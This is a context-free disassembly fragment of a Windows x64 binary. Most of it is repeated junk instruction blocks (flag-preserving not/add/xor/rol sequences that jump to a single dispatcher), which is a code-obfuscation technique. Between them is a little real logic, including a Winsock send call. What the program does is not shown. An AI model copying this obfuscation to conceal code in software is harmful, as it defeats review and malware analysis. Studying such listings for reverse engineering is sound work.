add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140135d62
push rax
pushf
mov eax, 0x1edb6294
pushf
not eax
add eax, 0x92bbaa64
xor eax, 0xac6bd0aa
rol eax, 0x97
popf
pushf
not eax
add eax, 0xf1317f8f
xor eax, 0x9399bd85
rol eax, 0x5b
popf
pushf
not eax
add eax, 0x83662900
xor eax, 0xf6c4d95f
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xd92eeca8
xor eax, 0xddfb3b26
rol eax, 0x63
popf
jmp 0x1401346ac
push rax
pushf
mov eax, 0x21fd7d04
pushf
not eax
add eax, 0x9ea62c3f
xor eax, 0xab053cd2
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xb178b824
xor eax, 0xf7b525a5
rol eax, 0x4c
popf
pushf
not eax
add eax, 0x8b87cf7b
xor eax, 0xfd0beb3c
rol eax, 0x95
popf
jmp 0x1401346ac
mov rcx, r14
call fcn.1401eb76d
push rax
pushf
mov eax, 0xbc235fe7
pushf
not eax
add eax, 0xbf8d8ef9
xor eax, 0xd778a420
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xd2ede2ba
xor eax, 0x9ed13de4
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xbd27a1d1
xor eax, 0xe5b079a8
rol eax, 0xb0
popf
jmp 0x1401346ac
add r12, 0x20
cmp r12, qword [rsp + 0x28]
jne 0x140135e38
push rax
pushf
mov eax, 0x2d60d0bd
pushf
not eax
add eax, 0x8c279ec2
xor eax, 0xcaa9b344
rol eax, 0xc5
popf
pushf
not eax
add eax, 0x80cb1ebf
xor eax, 0xf2db76bc
rol eax, 0x61
popf
jmp 0x1401346ac
push rax
pushf
mov eax, 0xeb5168aa
pushf
not eax
add eax, 0xaaaff0f2
xor eax, 0xe1e55a79
rol eax, 0xcb
popf
pushf
not eax
add eax, 0x877761db
xor eax, 0xa8c56ee5
rol eax, 0x2e
popf
jmp 0x1401346ac
mov r13, qword [rbp - 0x51]
push rax
pushf
mov eax, 0x875bee14
pushf
not eax
add eax, 0xeade9c24
xor eax, 0x9328bac8
rol eax, 0xcc
popf
pushf
not eax
add eax, 0xeb109bb8
xor eax, 0xa7b0522f
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xc0c57685
xor eax, 0xf23aae27
rol eax, 0x35
popf
jmp 0x1401346ac
lea rax, [rbp - 0x11]
mov rcx, qword [rbp - 0x11]
mov r8, qword [rbp + 7]
cmp r8, 0x10
cmovae rax, rcx
inc r15
cmp byte [rax + r15], 0
jne 0x140135f2c
push rax
pushf
mov eax, 0x9cba8177
pushf
not eax
add eax, 0xc6d45fd5
xor eax, 0xd13e928e
rol eax, 0x80
popf
pushf
not eax
add eax, 0x8fa01374
xor eax, 0xf339a435
rol eax, 0x66
popf
pushf
not eax
add eax, 0xc63753ff
xor eax, 0xd81387c7
rol eax, 0x91
popf
pushf
not eax
add eax, 0xe17465c6
xor eax, 0xeeb00a2f
rol eax, 0xa3
popf
jmp 0x1401346ac
push rax
pushf
mov eax, 0xd885c098
pushf
not eax
add eax, 0xc56e6cfa
xor eax, 0x885b4e65
rol eax, 0x74
popf
pushf
not eax
add eax, 0xf2f92659
xor eax, 0xaee9dec3
rol eax, 0xd6
popf
pushf
not eax
add eax, 0x9880001c
xor eax, 0xd9633ff3
rol eax, 0x5a
popf
pushf
not eax
add eax, 0x86418d51
xor eax, 0xde5439f6
rol eax, 0xb7
popf
jmp 0x1401346ac
lea rdx, [rbp - 0x11]
cmp r8, 0x10
cmovae rdx, rcx
mov rbx, qword [rbp - 0x41]
movsxd rcx, dword [rbx + 0x28]
xor r9d, r9d
mov r8d, r15d
jmp 0x140135fa0
call qword [sym.imp.WS2_32.dll_send]
mov rcx, rbx
call fcn.1400023f0
nop
mov rdx, qword [rbp + 7]
cmp rdx, 0x10
jb 0x140136012
push rax
pushf
mov eax, 0x393d3dfd
pushf
not eax
add eax, 0xb047bbe8
xor eax, 0x9a9b3aa3
rol eax, 0xe
popf
pushf
not eax
add eax, 0xd1efc6b8
xor eax, 0xb4648a33
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xa7c2e986
xor eax, 0xbd2c00d0
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xbd3748f8
xor eax, 0xb88573cd
rol eax, 9
popf
jmp 0x1401346ac
push rax
pushf
mov eax, 0xdbc9386c
pushf
not eax
add eax, 0xce5111fb
xor eax, 0xcd7bfca2
rol eax, 0x31
popf
pushf
not eax
add eax, 0xd11347f8
xor eax, 0x86bac7d8
rol eax, 0x80
popf
jmp 0x1401346ac
inc rdx
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14013608b
push rax
pushf
mov eax, 0x767e87b6
pushf
not eax
add eax, 0x9f8da13a
xor eax, 0x995b0342
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xeb86a5ec
xor eax, 0x8adad068
rol eax, 0x73
popf
jmp 0x1401346ac
push rax
pushf
mov eax, 0xe25ea999
pushf
not eax
add eax, 0xd6952bef
xor eax, 0xd54ff871
rol eax, 0xee
popf
pushf
not eax
add eax, 0xb807eeda
xor eax, 0x8e35b9d8
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xb92bfd83
xor eax, 0xc35b459a
rol eax, 0xf4
popf
jmp 0x1401346ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14013613f
push rax
pushf
mov eax, 0x824a5b03
pushf
not eax
add eax, 0xdeb26781
xor eax, 0xe58d52f2
rol eax, 0x26
popf
pushf
not eax
add eax, 0xc9ffa287
xor eax, 0xeea04805
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xeda58cb8
xor eax, 0xa10e8840
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xfc59409b
xor eax, 0xbf3a13a5
rol eax, 0x22
popf
jmp 0x1401346ac
push rax
pushf
mov eax, 0x32e10b56
pushf
not eax
add eax, 0xf8de2fa9
xor eax, 0x8464ad01
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xaba7bb2d
xor eax, 0xb2fe1a60
rol eax, 0xe7
popf
jmp 0x1401346ac
call fcn.1401eb76d
push rax
pushf
mov eax, 0xd2fa3fe3
pushf
not eax
add eax, 0xf3522704
xor eax, 0x8d8354d1
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xf2c5b99d
xor eax, 0x8ecc01cc
rol eax, 0x31
popf
pushf
not eax
add eax, 0xab149fcb
xor eax, 0xe66873c9
rol eax, 0xec
popf
jmp 0x1401346ac
movdqa xmm0, xmmword [0x1400f8e60]
movdqu xmmword [rbp - 1], xmm0
mov byte [rbp - 0x11], 0
mov rcx, r13
call fcn.1402cd987
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.14027ae25
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14027e366
nop
push rax
pushf
mov eax, 0x226fe605
pushf
not eax
add eax, 0xc1c33c4b
xor eax, 0x914d0fba
rol eax, 0x31
popf
pushf
not eax
add eax, 0xa4509b24
xor eax, 0xf0575ee7
rol eax, 0x13
popf
jmp 0x1401346ac
call fcn.1401c2053
nop
push rax
pushf
mov eax, 0x181a9773
pushf
not eax
add eax, 0xadaeb523
xor eax, 0xa33e4386
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xf190dc07
xor eax, 0xf0e6118d
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xce812fd9
xor eax, 0xc51f6c58
rol eax, 0x99
popf
pushf
not eax
add eax, 0xb232735c
xor eax, 0x8ddaa02b
rol eax, 0x7f
popf
jmp 0x1401346ac
call fcn.1401c2053
nop
push rax
pushf
mov eax, 0xff601968
pushf
not eax
add eax, 0xb00933b7
xor eax, 0xbd20916b
rol eax, 0x96
popf
pushf
not eax
add eax, 0xaf39e010
xor eax, 0x9116342a
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xfc21831c
xor eax, 0xcce83d0e
rol eax, 0x63
popf
pushf
not eax
add eax, 0xeec2e3e2
xor eax, 0xdfc2e2d0
rol eax, 0x7b
popf
jmp 0x1401346ac
call fcn.140146579
int3
call fcn.1401c2053
nop
push rax
pushf
mov eax, 0x4673f19d
pushf
not eax
add eax, 0xd8460bc0
xor eax, 0xdcd2197c
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xb0cdd1e5
xor eax, 0x92fe3789
rol eax, 0xb5
popf
pushf
not eax
add eax, 0x90d16db5
xor eax, 0x99eb3d93
rol eax, 0xdc
popf
pushf
not eax
add eax, 0x8cadd994
xor eax, 0xd7109e29
rol eax, 0x3a
popf
jmp 0x1401346ac
call fcn.1401c2053
int3